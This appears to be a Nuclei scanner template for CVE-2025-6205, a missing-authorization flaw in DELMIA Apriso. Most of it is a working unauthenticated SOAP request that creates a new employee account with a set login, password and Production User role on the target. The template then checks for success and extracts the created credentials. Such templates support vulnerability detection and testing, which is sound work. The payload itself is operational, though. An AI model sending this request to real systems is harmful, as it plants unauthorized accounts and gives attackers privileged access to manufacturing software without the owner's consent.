id: CVE-2025-6205
info:
name: "DELMIA Apriso - Missing Authorization"
author: vedas-arpsyndicate
severity: high
description: |
A missing authorization vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could
allow an attacker to gain privileged access to the application.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-6205&match=exact
- https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-6205
cwe-id: CWE-862
metadata:
verified: false
tags: cve,cve2025,delmia,apriso,unauth,intrusive,vuln,kev,vkev
variables:
username: "LAST"
password: "9"
http:
- raw:
- |
POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml;charset=utf-8
Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"
<FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0">
<Employee>
<GivenName>FIRST</GivenName>
<FamilyName>LAST</FamilyName>
<EmployeeNo>08262004</EmployeeNo>
<LoginName>{{username}}</LoginName>
<Password>{{password}}</Password>
<HireDate>2000-06-01T00:00:00</HireDate>
<SpokenLanguageID>1033</SpokenLanguageID>
<WrittenLanguageID>1033</WrittenLanguageID>
<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate>
<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate>
<EmployeeType>0</EmployeeType>
<DefaultFacility>C1P1</DefaultFacility>
<TrackLaborFlag>true</TrackLaborFlag>
<ResourceID NodeType="Field">
<Resource_Insert>
<Name>FIRST</Name>
<ResourceName>FIRST</ResourceName>
<ResourceType>1</ResourceType>
<FUID NodeType="Field"/>
</Resource_Insert>
</ResourceID>
<EmployeeRole>
<EmployeeID NodeType="Field"/>
<RoleID NodeType="Field">
<Role>
<Role>Production User</Role>
</Role>
</RoleID>
</EmployeeRole>
</Employee>
</FlexNet_Employees>
myExternalApplication
matchers:
- type: word
part: body
words:
- ProcessMessageASync_v2Response
- true
condition: and
extractors:
- type: dsl
dsl:
- '"Username: "+ username'
- '"Password: "+ password'